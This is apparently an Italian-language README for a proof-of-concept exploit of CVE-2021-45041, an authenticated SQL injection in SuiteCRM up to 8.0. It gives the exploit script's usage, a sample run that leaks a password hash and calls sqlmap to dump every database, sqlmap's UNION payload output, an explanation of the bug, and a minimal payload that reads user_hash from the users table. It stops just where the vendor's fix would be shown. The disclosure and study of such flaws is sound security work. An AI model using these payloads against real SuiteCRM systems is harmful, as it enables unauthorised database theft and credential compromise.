
PoC per CVE-2021-45041
PoC per CVE-2021-45041 aka SCRMBT-#177 - SQL-Injection autenticata in SuiteCRM <= 8.0
Opzioni:
(.venv) ➜ CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root dell'installazione di SuiteCRM. Default:
http://localhost
-u, --username TEXT Nome utente
-p, --password TEXT Password
-c, --col_count INTEGER Numero di colonne da usare nella query UNION.
Default: 44
-d, --dbms TEXT DBMS usato da SuiteCRM. Default: mysql
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Default: False
--help Mostra questo messaggio e termina.
https://github.com/manuelz120/CVE-2021-45041
Esempio di utilizzo:
(.venv) ➜ CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login riuscito - Provo a far trapelare l'hash utente per verificare se SuiteCRM è vulnerabile
INFO:CVE-2021-45041:Hash ricevuto: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:Se questo non assomiglia a un hash della password, l'exploit potrebbe non funzionare correttamente
INFO:CVE-2021-45041:Lancio sqlmap contro il target per ottenere il dump completo del DB
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
___
__H__
___ ___[.]_____ ___ ___ {1.5.12#pip}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] avviso legale: l'uso di sqlmap per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per eventuali usi impropri o danni causati da questo programma
[*] avvio alle 21:42:51 /2021-12-27/
marcatore di iniezione personalizzato ('*') trovato nell'opzione '-u'. Vuoi elaborarlo? [Y/n/q] Y
[21:42:51] [INFO] test della connessione all'URL di destinazione
sqlmap ha ripreso i seguenti punti di iniezione dalla sessione salvata:
---
Parameter: #1* (URI)
Type: query UNION
Title: query UNION generica (NULL) - 44 colonne (personalizzata)
Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] test MySQL
[21:42:52] [INFO] conferma MySQL
Hai fornito un valore per l'header HTTP Cookie, mentre l'URL di destinazione fornisce i propri cookie tramite l'header HTTP Set-Cookie che si sovrappongono ai tuoi. Vuoi unirli nelle richieste successive? [Y/n] Y
[21:42:52] [INFO] il DBMS backend è MySQL
tecnologia applicazione web: Apache 2.4.51
DBMS backend: MySQL >= 5.0.0 (fork MariaDB)
[21:42:52] [INFO] sqlmap scaricherà ora le voci di tutte le tabelle da tutti i database
[21:42:52] [INFO] recupero dei nomi dei database
...
Recentemente ho scoperto una SQL-Injection autenticata in SuiteCRM. Sono stato in grado di verificare la vulnerabilità nelle versioni 8.0 e 7.12.1. La vulnerabilità si trova nell'azione Tooltips del modulo Project. In un'installazione predefinita, qualsiasi utente può chiamare questa azione accedendo al seguente URL (per la versione 8 aggiungere il prefisso /legacy):
/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test
Se osserviamo l'implementazione di questa azione (vedi
https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513), possiamo vedere che i valori vengono presi direttamente da $_REQUEST senza alcuna sanificazione aggiuntiva, e successivamente utilizzati nella clausola where della query.

Sebbene non possiamo usare gli apici singoli a causa della codifica delle entità HTML, questo è comunque sfruttabile poiché ci sono molteplici punti di iniezione. Se specifichiamo un resource_id che termina con una barra rovesciata (\), il successivo apice singolo verrà escaped e la stringa sarà terminata solo dall'apice singolo dopo la parola chiave BETWEEN. Questo significa che qualunque cosa il client invii come start_date verrà trattata come puro SQL e può essere utilizzata per effettuare un attacco di SQL-Injection.
Ecco un PoC minimale che fa trapelare l'hash della password di un utente:
Versione 7.12.1:
Versione 8.0:
Versione URL Decodificata:
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

Subito dopo la mia segnalazione, sono state rilasciate nuove versioni di SuiteCRM (7.12.2 e 8.0.1), contenenti il seguente fix: